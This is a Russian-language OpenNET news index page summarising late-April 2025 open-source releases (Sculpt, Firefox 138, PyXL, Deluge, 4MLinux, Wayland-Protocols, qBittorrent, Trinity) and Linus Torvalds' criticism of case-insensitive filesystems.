The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

·29.04 Проект Genode опубликовал выпуск ОС общего назначения Sculpt 25.04 (16 +3)
  Представлен выпуск проекта Sculpt 25.04, развивающего операционную систему на базе технологий Genode OS Framework, которая сможет быть использована обычными пользователями для выполнения повседневных задач. Исходные тексты проекта распространяются под лицензией AGPLv3. Для загрузки предлагается системный образ, размером 32 МБ, который можно использовать на ПК, смартфоне PinePhone и ноутбуке MNT Reform. Поддерживается работа на системах с процессорами и графической подсистемой Intel с включёнными расширениями VT-d и VT-x, а также на системах ARM с расширениями VMM.

Основные новшества:

  • Обеспечена совместимость с процессорами Intel на базе микроархитектуры Meteor Lake.
  • Реализовано управление окнами в многомониторных конфигурациях и добавлена поддержка закрепления виртуальных рабочих столов на определённых экранах.
  • Добавлена поддержка поворота экрана.
  • Предложен новый браузер каталогов (directory browser), позволяющий использовать произвольные каталоги в качестве виртуальных ФС, которые можно привязать к компонентам системы для упрощения их sandbox-изоляции.
  • Обновлены движок Chromium 112 и библиотека Qt 6.6.2.
  • Ускорена работа с графикой за счёт задействования оптимизаций, использующих инструкции SIMD на системах ARM и x86.
  • Добавлена поддержка платы F&S MX8MP armStone.

Система поставляется с графическим интерфейсом Leitzentrale, позволяющим выполнять типовые задачи по администрированию системы. В левом верхнем углу графического интерфейса отображается меню с инструментами для управления пользователями, подключения накопителей и настройки сетевого соединения. В центре присутствует конфигуратор для компоновки начинки системы, который предоставляет интерфейс в виде графа, определяющего взаимосвязь между системными компонентами. Пользователь может в интерактивном режиме произвольно удалять или добавлять компоненты, определяя состав системного окружения или виртуальных машин.

В любой момент пользователь может переключиться в консольный режим управления, который предоставляет большую гибкость в управлении. Традиционный рабочий стол может быть получен при помощи запуска дистрибутива TinyCore Linux в виртуальной машине с Linux. В данном окружении доступны браузеры Firefox и Aurora, текстовый редактор на базе Qt и различные приложения. Для запуска утилит командной строки предлагается окружение noux.

Genode предоставляет унифицированную инфраструктуру для создания пользовательских приложений, работающих поверх ядра Linux (32 и 64 бит) или микроядер NOVA (x86 с виртуализацией), seL4 (x86_32, x86_64, ARM), Muen (x86_64), Fiasco.OC (x86_32, x86_64, ARM), L4ka::Pistachio (IA32, PowerPC), OKL4, L4/Fiasco (IA32, AMD64, ARM) и выполняющегося напрямую ядра для платформ ARM и RISC-V. Входящее в состав паравиртуализированное Linux-ядро L4Linux, работающее поверх микроядра Fiasco.OC, позволяет выполнять в Genode обычные Linux программы. Ядро L4Linux не работает с оборудованием напрямую, а использует сервисы Genode через набор виртуальных драйверов.

Для Genode осуществлено портирование различных Linux и BSD компонентов, обеспечена поддержка Gallium3D, осуществлена интеграция Qt, GCC и WebKit, реализована возможность организации гибридных Linux/Genode программных окружений. Подготовлен порт VirtualBox, работающий поверх микроядра NOVA. Большое число приложений адаптировано для запуска напрямую поверх микроядра и окружения Noux, обеспечивающего виртуализацию на уровне ОС. Для запуска не портированных программ предусмотрена возможность задействования механизма создания виртуальных окружений уровня отдельных приложений, позволяющих запускать программы в виртуальном Linux-окружении с использованием паравиртуализации.

  1. Главная ссылка к новости
  2. OpenNews: Проект Genode опубликовал выпуск ОС общего назначения Sculpt 24.10
  3. OpenNews: Опубликован план превращения Genode в операционную систему общего назначения
  4. OpenNews: Микроядерная ОС Genode переходит на лицензию AGPL
  5. OpenNews: Прототип отечественной ОС Phantom на базе Genode будет готов до конца года
Обсуждение (16 +3) | Тип: Программы |


·29.04 Релиз Firefox 138 (84 +18)
  Состоялся релиз web-браузера Firefox 138 и сформированы обновления прошлых веток с длительным сроком поддержки - 115.23.0 и 128.10.0. На стадию бета-тестирования переведена ветка Firefox 139, релиз которой намечен на 27 мая.

Основные новшества в Firefox 138:

  • Предложена новая система управления профилями. В форме профилей пользователь может создавать полностью независимые сеансы работы с браузером, со своими настройками, историей, закладками, дополнениями и внутренними БД. Каждый профиль хранится в отдельном подкаталоге "~/.mozilla/firefox/". Профилю можно назначить свою цветовую схему, значок и имя. Переключение между профилями и создание новых профилей осуществляется через новую секцию, показываемую в верхней части основного меню.

    Новый интерфейс работы с профилями пока по умолчанию включён не для всех и постепенно будет активироваться для всё большего процента пользователей. Для принудительного включения на странице about:config можно активировать параметр "browser.profiles.enabled". Технология разделения сеансов аналогична старым профилями, активация которых производилось из командной строки при помощи опции "-P", но интерфейсы и списки профилей старой и новой системы не пересекаются (в старом интерфейсе, запускаемом командой "firefox --ProfileManager" не показываются новые профили, а в новом, доступном через меню, не показываются старые).

    Старый интерфейс:

    Новый интерфейс:

  • В адресной строке реализован вывод контекстных рекомендаций с прогнозом погоды, при вводе слов, имеющих отношение к погоде или названиям городов. Возможность пока доступна по умолчанию только для пользователей из США. Включение производится через настройку "browser.urlbar.suggest.weather" на странице about:config.
  • В контекстное меню, показываемое при клике правой кнопкой мыши на кнопках вкладок, добавлен пункт для копирования ссылки страницы, показанной во вкладке.
  • При запуске в Windows 11 всплывающие окна и меню теперь выводятся в стиле, соответствующем эстетике операционной системы.
  • Улучшено автозаполнение полей с адресами и номерами кредитных карт. Автозаполнение теперь корректно применяется к формам, динамически обновляемым по мере заполнения информации (заполнение сработает в полях, появляющихся только после ввода других полей, например, когда поле для адреса появляется после заполнения поля с городом).
  • В конфигураторе появилась возможность переопределения констрастных цветов. Вместо цветов, применяемых на сайтах для фона и переднего плана, теперь можно задать собственные цвета или использовать системные настройки контраста для web-контента.
  • Добавлена поддержка проверки целостности импортируемых JavaScript-модулей по хэшу, используя новое поле "integrity" в метаданных для <script type="importmap">.
  • Добавлен метод Error.isError, позволяющий проверить является ли указанное значение экземпляром объекта Error.
  • Для совместимости с другими браузерами добавлена поддержка функции Error.captureStackTrace.
  • Унифицированы размер и стиль шрифта в элементах <H1>, которые теперь не зависят от использования <H1> внутри блоков <article>, <aside>, <nav> и <section>.
  • В выражении "import" добавлена возможность указания атрибутов, через которые можно выставить дополнительные метаданные при импорте модулей. При помощи атрибута 'type: "json"' теперь можно импортировать модули JSON.
    
       import data from "https://example.com/data.json" with { type: "json" };
    
  • Для WebRTC-приложений предложено свойство degradationPreference, через которое можно выставить приоритет сохранения частоты кадров или разрешения в ситуации, когда снижение пропускной способности сети не позволяет обеспечить все заданные параметры.
  • В возвращаемый сервером HTTP-заголовок "Clear-Site-Data" добавлена поддержка директивы "cache", через которую сервер может информировать клиента о необходимости очистки из браузерного кэша данных, связанных с обрабатываемым URL. Например, очистка может инициироваться при завершении пользователем сеанса на сайте для снижения рисков нарушения конфиденциальности.
  • В инструментах для web-разработчиков в панели Network реализован новый столбец "Path", в котором показывается полный путь запрошенного ресурса.
  • В версии для платформы Android:
    • На планшетах по умолчанию включён десктоп-режим, который может быть отключён в настройках.
    • Добавлена поддержка сортировки закладок и прикрепления папок в верхнюю часть экрана со списком закладок.
    • Реализована поддержка TLS-сертификатов для аутентификации клиентов на сервере.
    • Предоставлена возможность использования кнопки Share для отправки другим пользователям загруженного файла или ссылки по которой он был получен.
    • Добавлена поддержка сортировки загруженных файлов по времени и категориям.

Кроме новшеств и исправления ошибок в Firefox 138 устранено 14 уязвимостей. 6 уязвимостей вызваны проблемами работы с памятью, такими как переполнения буферов и обращение к уже освобождённым областям памяти. Потенциально данные проблемы способны привести к выполнению кода злоумышленника при открытии специально оформленных страниц. Также можно отметить уязвимость в функции "copy as cURL" в инструментах для web-разработчиков, позволяющую подставить свои команды из-за отсутствия должного экранирования спецсимволов.

  1. Главная ссылка к новости
  2. OpenNews: Релиз Firefox 137 с поддержкой группировки вкладок
  3. OpenNews: В Firefox существенно модернизирована адресная строка
  4. OpenNews: Браузеру Firefox исполнилось 20 лет
  5. OpenNews: Поддержка Firefox 115 ESR продлена до сентября 2025 года. Обновление Firefox 135.0.1
  6. OpenNews: Mozilla переходит к поставке Firefox с условиями использования
Обсуждение (84 +18) | Тип: Программы |


·29.04 Проект PyXL развивает процессор для выполнения байт-кода Python (128 +14)
  Представлен специализированный процессор PyXL, предназначенный для ускорения выполнения кода на языке Python. Байт-код Python напрямую выполняться чипом без JIT, интерпретации и виртуальных машин. Файлы на языке Python вначале транслируются в байт-код CPython, после чего байт-код преобразуется в специализированный набор инструкций PySM, выполняемых чипом. Инструментарий для подготовки кода к выполнению написан на Python и работает в стандартном окружении на базе немодицифированного CPython. Реализация процессора разработана с нуля и оформлена на языке описания и моделирования электронных систем Verilog. Рабочий прототип процессора тестируется на платах с FPGA Zynq-7000.

В проведённых тестах, оценивающих скорость обработки событий GPIO, PyXL опережает решение на базе MicroPython и платы Pyboard в 30 раз. При выполнении тестового кода при помощи реализации PyXL, работающей с тактовой частотой 100MHz, задержка обработки запроса GPIO (Roundtrip Latency) составила 480 нс, а при помощи MicroPython Pyboard (168MHz) - 14741 нс. Предполагается, что повышение тактовой частоты PyXL до уровня Pyboard позволит увеличить разрыв до 50 раз.

При работе с GPIO на MicroPython при использовании платы PyBoard код на языке Python взаимодействует с аппаратными регистрами через промежуточные Си-функции, при этом сам Python-код выполняется в виртуальной машине. В PyXL байт-код Python выполняется напрямую процессором и доступ к GPIO осуществляется без дополнительных прослоек и внешних вызовов. Архитектура PyXL использует конвейерную обработку (pipelining) и стековую модель хранения и обработки данных. Платформа сохраняет динамическую типизацию Python и не накладывает ограничений на типы переменных.

На текущем этапе развития проект находится на стадии рабочего прототипа, поддерживающего ограниченное подмножество языка Python и нацеленного на демонстрацию возможности эффективного аппаратного выполнения Python-кода. Дальнейшее расширение функциональности планируют производить с учётом реальных потребностей автора, которые в основном сосредоточены на применении для встраиваемых систем и обработки информации в режиме реального времени.

Архитектура набора команд процессора PyXL спроектирована с оглядкой на структуру байт-кода CPython и его эффективную обработку на аппаратном уровне с учётом специфики, такой как динамическая обработка типов и динамическая диспетчеризация. ISA включает инструкции для манипуляции стеком, бинарные операции, операции сравнения и ветвления, возможности вызова функций и доступа к памяти.

Технические детали реализации проекта PyZX будут представлены 17 мая на конференции PyCon 2025. Рассматривается возможность открытия наработок проекта и создания самодостаточного ASIC-чипа, но решение по этим вопросам пока окончательно не принято. Проект развивает Рон Ливне (Ron Livne), специализирующийся на оптимизации производительности и разработке аппаратных ускорителей.

  1. Главная ссылка к новости
  2. OpenNews: Опубликован HPVM 2.0, компилятор для CPU, GPU, FPGA и аппаратных ускорителей
  3. OpenNews: Проект FuryGpu развивает GPU на базе FPGA
  4. OpenNews: Проект по производству открытого процессора, совместимого с Z80
  5. OpenNews: Доступен Vortex 2.2, открытый GPGPU на базе архитектуры RISC-V
  6. OpenNews: Открыт инструментарий для программируемых Ethernet-коммутаторов Intel Tofino
Обсуждение (128 +14) | Тип: К сведению |


·29.04 Релиз BitTorrent-клиента Deluge 2.2 (43 +7)
  После почти трёх лет разработки опубликован релиз многоплатформенного BitTorrent-клиента Deluge 2.2, написанного на языке Python (используется фреймворк Twisted), базирующегося на libtorrent и поддерживающего несколько видов интерфейса пользователя (GTK, web-интерфейс, консольный вариант). Код проекта распространяется под лицензией GPL.

Deluge работает в клиент-серверном режиме, при котором пользовательская оболочка выполняется в виде отдельного процесса, а всеми BitTorrent-операциями управляет отдельный демон, который может быть запущен на удалённом компьютере. Среди особенностей приложения: поддержка DHT (распределённая хэш таблица), UPnP, NAT-PMP, PEX (Peer Exchange), LSD (Local Peer Discovery), возможность шифрования протокола (BitTorrent Protocol Encryption), поддержка работы через прокси, совместимость с WebTorrent, возможность выборочного ограничения скорости для определённых torrent-ов, режим последовательной загрузки.

Среди заметных изменений:

  • Добавлена поддержка создания торрентов в формате BitTorrent v2, в котором хэш может вычисляться для каждого файла, а не для всей раздачи, осуществлён уход от использования алгоритма SHA-1 в пользу SHA2-256, индексы переведены на использование хеш-дерева Меркла, повышена эффективность кодирования структуры каталогов в торренте, добавлены оптимизации для обработки большого числа мелких файлов.
  • В интерфейсе на базе GTK реализована возможность переключения между светлой и тёмной темами оформления. Обеспечен вывод индикатора в системный лоток.
  • В web-интерфейс добавлена поддержка смены тем оформления.
  • Удалена поддержка Python 3.6. В качестве минимально поддерживаемой версии заявлена ветка Python 3.7.

  1. Главная ссылка к новости
  2. OpenNews: Выпуск qBittorrent 5.1
  3. OpenNews: После пятилетнего перерыва выпущен BitTorrent-клиент rTorrent 0.10.0
  4. OpenNews: Новая версия BitTorrent-клиента Transmission 4.0.0, перешедшего с Си на Си++
  5. OpenNews: Релиз BitTorrent-клиента Deluge 2.1
  6. OpenNews: Представлен torrent-клиент distribyted, позволяющий монтировать торренты в ФС
Обсуждение (43 +7) | Тип: Программы |


·29.04 Выпуск дистрибутива 4MLinux 48.0 (34 +7)
  Доступен выпуск 4MLinux 48.0, минималистичного пользовательского дистрибутива, не являющегося ответвлением от других проектов и использующего графическое окружение на базе оконного менеджера JWM. 4MLinux может использоваться как в роли Live-окружения для воспроизведения мультимедийных файлов и решения пользовательских задач, так и в качестве системы для восстановления после сбоев и платформы для запуска мини-серверов. Для загрузки подготовлены live-образ (x86_64, 1.6 ГБ) с графическим окружением и урезанная консольная сборка (x86_64, 16.1 МБ).

В новой версии:

  • Обновлены версии пакетов: ядро Linux 6.12, BusyBox 1.36.1, Mesa 24.3.3, Perl 5.40.0, Python 2.7.18, Python 3.13.1 и Ruby 3.4.1.
  • Обновлены пользовательские приложения: LibreOffice 25.2, GNOME Office (AbiWord 3.0.5, GIMP 2.10.38, Gnumeric 1.12.59), Firefox 137.0, Chrome 135.0, Thunderbird 128.9, Audacious 4.4.2, VLC 3.0.21, SMPlayer 24.5.0, Wine 10.4.
  • В базовую поставку включён видеоредактор Kino.
  • В набор кодеков добавлен кодировщик видео VVenC (H.266/VVC).
  • Подготовлены отдельно загружаемые дополнения с YouTube-клиентом FreeTube и эмулятором звуковых синтезаторов Bristol.
  • Добавлена возможность запуска легковесных HTTP- и FTP-серверов, используя их реализации из состава BusyBox. В качестве HTTP-сервера также можно использовать thttpd 2.29.

  1. Главная ссылка к новости
  2. OpenNews: Выпуск дистрибутива 4MLinux 47.0
  3. OpenNews: Выпуск легковесного дистрибутива antiX 23.1
  4. OpenNews: Выпуск дистрибутива MX Linux 23.6
  5. OpenNews: Релиз минималистичного дистрибутива Alpine Linux 3.21
  6. OpenNews: Выпуск минималистичного дистрибутива Tiny Core Linux 15.0
Обсуждение (34 +7) | Тип: Программы |


·29.04 Выпуск Wayland-Protocols 1.44 и композитного сервера Weston 14.0.2 (57 +5)
  Опубликован выпуск пакета wayland-protocols 1.44, содержащего набор протоколов и расширений, дополняющих базовый протокол Wayland и предоставляющих возможности, необходимые для построения композитных серверов и пользовательских окружений.

В Wayland-Protocols 1.44 предложен новый протокол color-representation-v1 для задания цветового представления Wayland-поверхности. При помощи нового протокола клиенты могут передавать метаданные, необходимые для определения прозрачности, цветовой модели, субдискретизации и диапазона квантования, и применяемые при преобразовании буфера с данными, соответствующими цветовой модели YCbCr, в представление RGB.

Готовый код для представления цвета уже доступен в композитных серверах KDE KWin, GNOME Mutter и Weston. Также готов код для цветопредставления в GStreamer и медиаплеере MPV. Включение средства для представления цвета в протоколы Wayland упростит реализацию возможностей управления цветом и HDR в различные приложения и композитные серверы, использующие Wayland.

Все протоколы последовательно проходят фазы разработки, тестирования и стабилизации. После завершения стадии разработки (категория "unstable") протокол помещается в ветку "staging" и официально включается в состав набора wayland-protocols, а после завершения тестирования перемещается в категорию стабильных. Протоколы из категории "staging" уже можно применять в композитных серверах и клиентах, где требуется связанная с ними функциональность. В отличие от категории "unstable" в "staging" запрещено внесение изменений, нарушающих совместимость, но в случае выявление проблем и недоработок в ходе тестирования, не исключается замена новой значительной версией протокола или другим Wayland-расширением.

Для ускорения доведения протоколов до разработчиков и стимулирования ранней реализации протоколов в существующих проектах, начиная с позапрошлого выпуска дополнительно была добавлена фаза "experimental", в которой допускается внесение изменений, нарушающих совместимость, и добавление "сырых" протоколов, которые можно постепенно доводить до должного уровня. Если для попадания протокола в фазу "staging" требуется сформировать команду поддержки и получить определённое число подтверждений (ACK) от участников рецензирования, то для попадания в "experimental" достаточно отсутствия возражений (NACK) в течение двухнедельного периода рецензирования.

В настоящее время в состав набора wayland-protocols входят следующие стабильные протоколы, в которых обеспечивается обратная совместимость:

  • "viewporter" - позволяет клиенту выполнять действия по масштабированию и обрезанию краёв поверхности на стороне сервера.
  • "presentation-time" - обеспечивает отображение видео.
  • "xdg-shell" - интерфейс создания и взаимодействия с поверхностями как с окнами, позволяющий передвигать их по экрану, сворачивать, разворачивать, изменять размер и т.д.
  • "linux-dmabuf" - предоставляет возможности для создания wl_buffer-ов на базе DMA-BUF.
  • "tablet" - организация ввода с графических планшетов.

Протоколы, тестируемые в ветке "staging":

  • drm-lease - предоставляет ресурсы, необходимые для формирования стереокартинки с разными буферами для левого и правого глаза при выводе на шлемы виртуальной реальности.
  • "ext-session-lock" - определяет средства блокировки сеанса, например, во время работы хранителя экрана или вывода диалога аутентификации.
  • "single-pixel-buffer" - позволяет создавать однопиксельные буферы, включающие четыре 32-разрядных значения RGBA.
  • "xdg-activation" - позволяет передать фокус между разными поверхностями первого уровня (например, при помощи xdg-activation одно приложение может переключить фокус на другое).
  • content-type - позволяет клиентам передать композитному серверу сведения об отображаемом содержимом, которые могут использоваться для оптимизации поведения с учётом содержимого, например, выставлении специфичных DRM-свойств, таких как "content type". Заявлена поддержка следующих типов контента: none (нет сведений о типе данных), photo (вывод цифровых фото, требующий минимальной обработки), video (видео или анимация, требуется более точная синхронизация, чтобы исключить подтормаживания) и game (запуск игр, требуется вывод с минимальной задержкой).
  • ext-idle-notify - даёт возможность композитным серверам передавать клиентам уведомления о неактивности пользователя, что может использоваться для активации дополнительных режимов энергосбережения после определённого времени неактивности.
  • tearing-control - позволяет отключить в полноэкранных приложениях вертикальную синхронизацию (VSync) с кадровым гасящим импульсом, применяемую для защиты от появления разрывов при выводе (tearing). В мультимедийных приложениях появление артефактов из-за разрывов является нежелательным эффектом, но в игровых программах с артефактами можно смириться, если борьба с ними приводит к дополнительным задержкам.
  • ext-foreign-toplevel-list - получение информации о поверхностях, размещённых на самом верхнем уровне (toplevel), которые позволяют организовать закрепление окон поверх другого содержимого, например, для подключения собственных панелей и переключателей окон.
  • security-context - позволяет идентифицировать клиентов, использующих sandbox-изоляцию. Клиент может зарегистрировать новое подключение к композитному серверу на базе Wayland и прикрепить к нему контекст безопасности, после чего в соответствии с указанным контекстом безопасности композитный менеджер ограничит возможности, доступные для установленного соединения.
  • cursor-shape - альтернативный способ настройки внешнего вида курсора, основанный на передаче серии изображений курсора вместо привязки к поверхности (wl_surface).
  • "ext-transient-seat" - предназначен для создания временных независимых сеансов (seat), рассчитанных на использование вместе с виртуальными устройствами ввода. Например, при реализации возможности подключения к удалённому рабочему столу протокол позволяет создать для каждого пользователя отдельный сеанс с виртуальными клавиатурой и мышью.
  • "xdg-toplevel-drag" - расширяет механизм "drag & drop" возможностью прикрепления окон верхнего уровня к операции перемещения, что может быть использовано, например, для организации перетаскивания мышью панелей инструментов или вкладок браузера. Новый протокол позволяет создавать отсоединяемые части окна, которые при перетаскивании из этого окна становятся новыми окнами и могут перемещаться поверх существующего окна перед повторным прикреплением.
  • "xdg-dialog" - позволяет назначать поверхностям верхнего уровня признаки, специфичные для диалоговых окон, например, можно создавать модальные диалоги, которые блокируют взаимодействие пользователя с остальной частью интерфейса.
  • "linux-drm-syncobj" - предоставляет инструменты для явной синхронизации буферов при помощи объектов синхронизации DRM (Direct Rendering Manager). Предполагается, что в контексте синхронизации при отрисовке в буфер предложенный протокол позволит улучшить работу с драйверами на базе графических API Vulkan и OpenGL (реализация базируется на обработчиках в драйверах). Новый протокол даёт возможность убедиться, что операция отрисовки в буфер завершена до того, как композитный менеджер отобразит данный буфер.
  • alpha-modifier, позволяющий клиентам менять уровень прозрачности поверхности и выносить операции по обеспечению прозрачности на сторону композитного сервера, который в свою очередь может переадресовать эти операции KMS.
  • xdg-toplevel-icon - привязка пиктограммы к окну верхнего уровня.
  • ext-image-capture-source и ext-image-copy-capture - организация захвата контента, выводимого на экран.
  • xdg-system-bell - позволяет выводить системный сигнал, который может использоваться, например, как предупреждение в эмуляторе терминалов. Форма вывода сигнала определяется на усмотрение композитного менеджера, это может быть не только звук, но визуальный отклик.
  • fifo - реализует FIFO-механизм (первым пришёл - первым ушёл) обработки очереди обновления содержимого отображаемой поверхности. С практической стороны протокол позволяет при выводе использовать ожидание завершения вертикальной развёртки (vblank) вместо использования callback-вызовов при каждой готовности отобразить новый кадр, что решает проблему с высокой нагрузкой на GPU при использовании VSync.
  • commit-timing - позволяет привязать ограничение времени к содержимому поверхности (композитный сервер должен отобразить изменение контента по возможности через указанное время, но не раньше).
  • ext-data-control - позволяет привилегированным клиентам управлять обработкой данных, например, для реализации менеджеров буфера обмена.
  • ext-workspace - реализует концепцию виртуальных рабочих столов и предлагает события с информацией о состоянии рабочих столов, а также возможности для активации и деактивации рабочих столов. Протокол может применяться для создания панелей и индикаторов, выводящих список доступных виртуальных рабочих столов и позволяющих переключаться между ними.
  • color-management - предоставляет возможности для управления цветом и поддержки расширенного динамического диапазона яркости (HDR, High Dynamic Range). При помощи добавленного расширения клиентские приложения могут получать информацию о связанных с цветопередачей свойствах устройств вывода и передавать композитному серверу данные о свойствах цветопередачи собственного контента. В композитном сервере данная информация может использоваться для автоматического управления цветом при отображении содержимого на различных устройствах вывода, например, для преобразования контента в предоставление, подходящее для отображения на HDR-мониторах. Для описания цветовых пространств используются профили ICC.
  • xdg-toplevel-tag - позволяет Wayland-клиентам прикреплять теги к поверхностями верхнего уровня, которые композитный сервер может использовать для идентификации окон после перезапуска приложения (например, приложение может выставить теги "main window" и "settings" для основного окна и окна с настройками). Подобная идентификация полезна для восстановления позиции, размера и свойств окон после перезапуска, а также для определения особых правил для отдельных видов окон.

Протоколы, разрабатываемые в ветке "unstable":

  • "fullscreen-shell" - управление работой в полноэкранном режиме.
  • "input-method" - обработка методов ввода.
  • "idle-inhibit" - блокировка запуска скринсейвера (экранной заставки).
  • "input-timestamps" - временные метки для событий ввода.
  • "keyboard-shortcuts-inhibit" - управление прикреплением клавиатурных комбинаций и горячих клавиш.
  • "linux-explicit-synchronization" - специфичный для Linux механизм синхронизации буферов в привязке к поверхности.
  • "pointer-gestures" - управление с сенсорных экранов.
  • "pointer constraints" - ограничения указателей (блокировка).
  • "primary-selection" - по аналогии с X11 обеспечивает работу первичного буфера обмена (primary selection), вставка информации из которого обычно осуществляется средней кнопкой мыши.
  • "relative pointer events" - относительные события указателей.
  • "text-input" - организация ввода текста.
  • "xdg-foreign" - интерфейс взаимодействия с поверхностями "соседнего" клиента.
  • "xdg-decoration" - отрисовка декораций окон на стороне сервера.
  • "xdg-output" - дополнительные сведения о видеовыходе (используется для дробного масштабирования).
  • "xwayland-keyboard-grab" - захват ввода в приложениях XWayland.



Дополнительно можно отметить обновление проекта Weston 14.0.2, развивающего эталонный композитный сервер, нацеленный на предоставление высококачественной кодовой базы и рабочих примеров для использования Wayland в десктоп-окружениях и встраиваемых платформах. В новой версии Weston помимо исправления ошибок реализована возможность сборки бэкенда VNC для удалённой работы с рабочим столом с новой версией библиотеки neatvnc.

  1. Главная ссылка к новости
  2. OpenNews: Выпуск Wayland-Protocols 1.43
  3. OpenNews: Выпуск Wine-wayland 10.5
  4. OpenNews: Разделение кода kwin_x11 и kwin_wayland. Прекращение поддержки X11 в KDE 7
  5. OpenNews: Доступен Wayland 1.23
  6. OpenNews: Выпуск композитного сервера Weston 14.0
Обсуждение (57 +5) | Тип: Программы |


·28.04 Линус Торвальдс раскритиковал регистронезависимые файловые системы (259 +87)
  В ответ на публикацию исправления проблемы, связанной с поддержкой работы ФС Bcachefs в режиме без учёта регистра символов в именах каталогов, Линус Торвальдс заявил, что разработчики ФС видимо не способны учиться на своих ошибках, поскольку это далеко не первая проблема в коде обработки регистронезависимости.

Суть проблемы в том, что Unicode достаточно сложный стандарт и приведение символов к единому регистру (case folding) для всех его краевых случаев корректно не реализует практически никто. Более того - в силу специфики структуры Unicode, возможны ситуации, когда ожидания программ не совпадают с тем, как это фактически реализовано в той или иной файловой системе (например, кто-то считает символы "❤" и "❤️" одинаковыми в режиме без учёта регистра, а кто-то нет). Это приводит к ошибочному поведению - в том числе к потенциальным уязвимостям, потому что проверки в программах могут считать имена файлов разными, но ФС посчитает их совпадающими, или наоборот, что приведёт к проблемам с безопасностью.

По мнению Торвальдса, проблема некорректности приведения регистра символов в Unicode сводится к тому, что однозначного, правильного и безошибочного пути выполнять данную операцию просто не существует, и в результате попытки придать какое-то специальное значение байтам или их комбинациям ведут только к целым новым классам ошибок, включая и уязвимости. Торвальдс сообщил, что времена FAT давно закончились, но почему-то некоторые люди продолжают быть уверены, что поведение из эпохи FAT - полезная возможность, в то время как это ошибка.

  1. Главная ссылка к новости
  2. OpenNews: В ядро Linux для ФС Ext4 включена поддержка работы без учёта регистра символов
  3. OpenNews: Линус Торвальдс начал сожалеть, что принял Bcachefs в ядро Linux
  4. OpenNews: Линус Торвальдс снова недоволен коммитами в Bcachefs
  5. OpenNews: Автора BcacheFS временно отстранили от разработки ядра Linux из-за нарушения кодекса поведения
  6. OpenNews: Новый метод фишинга с использованием unicode-символов в домене
Обсуждение (259 +87) | Автор: Аноним | Тип: Тема для размышления |


·28.04 Выпуск qBittorrent 5.1 (164 +33)
  Опубликован выпуск торрент-клиента qBittorrent 5.1, написанного с использованием тулкита Qt и развиваемого в качестве открытой альтернативы µTorrent, приближенной к нему по интерфейсу и функциональности. Среди возможностей qBittorrent: интегрированный поисковый движок, возможность подписки на RSS, поддержка многих BEP-расширений, удалённое управление через web-интерфейс, режим последовательной загрузки в заданном порядке, расширенные настройки для торрентов, пиров и трекеров, планировщик пропускной способности и IP-фильтр, интерфейс для создания торрентов, поддержка UPnP и NAT-PMP. Код проекта написан на языке С++ и распространяется под лицензией GPLv2+. Сборки формируются для Linux, Windows и macOS.

Среди изменений:

  • В виджет просмотра содержимого torrent-ов добавлена поддержка интерфейса drag&drop.
  • В строке состояния обеспечено отображение внешнего IP-адреса.
  • Предоставлена возможность настройки интервала времени сохранения статистики.
  • В Linux и Windows задействованы надёжные функции генерации псевдослучайных чисел.
  • Добавлена настройка "eXact Length" для управления размером создаваемой magnet-ссылки.
  • Реализована возможность извлечения списка трекеров по URL.
  • Добавлена настройка announce_port для задания сетевого порта, с которого отправляются анонсы.
  • В интерфейс поиска добавлена поддержка выполнения нескольких одновременных поисковых запросов. Обеспечено запоминание истории поиска и открытых вкладок с результатами поиска. Добавлена кнопка для повторной отправки ранее выполненных поисковых запросов.
  • Внесено более 50 изменений в web-интерфейс.
  • Добавлена поддержка файлового менеджера Thunar.

  1. Главная ссылка к новости
  2. OpenNews: Выпуск qBittorrent 5.0
  3. OpenNews: После пятилетнего перерыва выпущен BitTorrent-клиент rTorrent 0.10.0
  4. OpenNews: Новая версия BitTorrent-клиента Transmission 4.0.0, перешедшего с Си на Си++
  5. OpenNews: Релиз BitTorrent-клиента Deluge 2.1
  6. OpenNews: Представлен torrent-клиент distribyted, позволяющий монтировать торренты в ФС
Обсуждение (164 +33) | Тип: Программы |


·28.04 Выпуск десктоп-окружения Trinity 14.1.4, продолжающего развитие KDE 3.5 (304 +39)
  Опубликован релиз десктоп-окружения Trinity R14.1.4, продолжающего развитие кодовой базы KDE 3.5.x и Qt 3. Бинарные пакеты в ближайшее время будут подготовлены для Ubuntu, Debian, RHEL/CentOS, Fedora, openSUSE и других дистрибутивов.

Из особенностей Trinity можно отметить собственные средства для управления параметрами экрана, основанная на udev прослойка для работы с оборудованием, новый интерфейс для настройки оборудования, переход на композитный менеджер Compton-TDE (форк Compton с расширениями TDE), улучшенный конфигуратор сети и механизмы аутентификации пользователей. Окружение Trinity может быть установлено и использовано одновременно с более актуальными выпусками KDE, в том числе предоставлена возможность использования в Trinity уже установленных в системе KDE-приложений. Также присутствуют средства для корректного отображения интерфейса GTK-программ без нарушения единого стиля оформления.

Среди изменений:

  • В конфигуратор добавлен модуль для управления альтернативными пакетами в дистрибутивах на базе форматов DEB и RPM (например, в качестве Си-компилятора cc можно выбрать gcc или clang).
  • Предложено 22 новых векторных обоев для рабочего стола в стилях 'Modern Times' и 'Progressive'.
  • Добавлена новая тема оформления Euforie.
  • Добавлено 15 новых цветовых схем.
  • В библиотеку TQt 3 добавлена поддержка суррогатных Unicode-символов (составные символы с кодами выше U+FFFF, кодируемые парой значений) и дополнительных плоскостей Unicode.
  • Предложена новая структура контекстного меню для tderandrtray.
  • Для файлового менеджера реализован плагин с поддержкой mp4-файлов.
  • В kxkb добавлены опции "Stretch flag", "Dim flag" и "Show indicator bevel". Улучшена логика переключения между раскладками клавиатуры. Обеспечено запоминание настроек и раскладок при добавлении или удалении клавиатуры.
  • Добавлена возможность использования DCOP для выбора схемы энергопотребления и политики работы CPU.
  • В PDF-просмотрщик kpdf добавлена поддержка вкладок.
  • В мультимедийный проигрыватель Codeine в строку состояния добавлено контекстное меню для включения/выключения анализатора во время просмотра видео. Добавлен анализатор сигнала, показываемый при воспроизведении звука. Добавлена возможность смены позиции в файлах FLAC.
  • В компоненте twin-style-dekorator, отвечающем за оформление окон и их границ, реализованы опциональные верхние и нижние рамки с тенями. Добавлена поддержка псевдопрозрачности в темах оформления.
  • В окнах с тонкими рамками улучшена область захвата для изменения размера.
  • Реализована логика для отдельного декорирования неактивных окон.
  • Добавлена опция dockOnStart для управления состоянием окна во время запуска.
  • Добавлена возможность сброса таймера показа уведомления при клике на сообщении.
  • В конфигуратор сети добавлена возможность создания VPN-соединений.
  • Добавлена поддержка GCC 15, Poppler 25.01, Ubuntu 25.04 и Fedora 43. Прекращена поддержка Ubuntu 23.04 и Raspbian на базе Debian 10.
